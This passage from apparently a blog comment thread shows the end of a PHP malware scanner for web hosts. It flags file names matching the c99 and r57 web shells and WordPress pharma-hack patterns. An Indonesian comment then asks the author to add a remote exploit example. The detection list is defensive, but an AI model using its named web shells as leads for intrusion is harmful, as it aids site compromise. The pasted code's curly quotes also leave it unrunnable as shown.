    // TO SEARCH OUTSIDE PUBLIC_HTML, OR TO SEARCH A FOLDER OTHER THAN WHERE THIS SCRIPT IS STORED,
    // CHANGE THIS TO THE FULL PATHNAME, SUCH AS /home/userid/ OR /home/userid/public_html/somefolder/
    // USE FORWARD SLASHES FOR PATH. WINDOWS EXAMPLE: C:/wamp/apache2/htdocs/test/
    $StartPath = ‘./’;

    // ENTRIES IN THE FOLLOWING 3 ARRAYS ARE REGULAR EXPRESSIONS, WHICH IS THE REASON FOR THE /DELIMITERS/.
    // FILES WHOSE NAMES MATCH THESE REGEXES WILL HAVE THEIR TEXT SEARCHED FOR MALICIOUS CODE.
    $FiletypesToSearch = array
    (
    ‘/\.htaccess$/i’,
    ‘/\.php[45]?$/i’,
    ‘/\.html?$/i’,
    ‘/\.aspx?$/i’,
    ‘/\.inc$/i’,
    ‘/\.cfm$/i’,
    ‘/\.js$/i’,
    ‘/\.css$/i’
    );

    // FILES OR FOLDERS WITH THESE STRINGS IN THEIR *NAMES* WILL BE REPORTED AS SUSPICIOUS.
    $SuspiciousFileAndPathNames = array
    (
    // ‘/root/i’,
    // ‘/kit/i’,
    ‘/c99/i’,
    ‘/r57/i’,
    ‘/gifimg/i’
    );

    // FILENAMES RELATED TO WORDPRESS PHARMA HACK, USING THE NAMING CONVENTIONS
    // DESCRIBED AT http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php
    // FILES MATCHING THESE NAMES WILL BE REPORTED AS POSSIBLE PHARMA HACK FILES.
    $PharmaFilenames = array
    (
    ‘/^\..*(cache|bak|old)\.php/i’, // HIDDEN FILES WITH PSEUDO-EXTENSIONS IN THE MIDDLE OF THE FILENAME
    ‘/^db-.*\.php/i’,

    // PERMIT THE STANDARD WORDPRESS FILES THAT START WITH CLASS-, BUT FLAG ALL OTHERS AS SUSPICIOUS.
    // THE (?!) IS CALLED A NEGATIVE LOOKAHEAD ASSERTION. IT MEANS “NOT FOLLOWED BY…”

    ‘/^class-(?!snoopy|smtp|feed|pop3|IXR|phpmailer|json|simplepie|phpass|http|oembed|ftp-pure|wp-filesystem-ssh2|wp-filesystem-ftpsockets|ftp|wp-filesystem-ftpext|pclzip|wp-importer|wp-upgrader|wp-filesystem-base|ftp-sockets|wp-filesystem-direct)\.php/i’
    );

    // ——————————————————————————–
    // FINALLY, DO THE SEARCHES, USING THE ABOVE ARRAYS AS THE STRING DATA SOURCES.

    // REPORT FILES WITH SUSPICIOUS NAMES
    foreach($SuspiciousFileAndPathNames as $i)
    find_files($StartPath, $i, ‘badnames’);

    // REPORT FILES WITH SUSPICIOUS PHARMA-RELATED NAMES
    foreach($PharmaFilenames as $i)
    find_files($StartPath, $i, ‘pharma’);

    // REPORT FILES CONTAINING SUSPICIOUS CODE OR TEXT
    foreach($FiletypesToSearch as $i)
    find_files($StartPath, $i, ‘maliciouscodesnippets’);

    echo “Done”;

    ?>

  5. mas rizki, ada yang kurang mas, maaf kalau saya sok tahu. Ini platform atau services, atau software yang jadi contoh vuln dari jenis exploit ini kayaknya mas rizki wicaksono lupa cantumin ya, mungkin karena artikelnya kepanjangan. Jadi capture-an hasil contoh remote exploitnya ga dicantumin. karena menurut saya, ga paid off kalau jenis exploit susah ini hanya untuk mengelabui user localhost mas. mungkin bisa dibuat versi 1.2 dari artikel ini mas???? siapa tahu mas berkenan?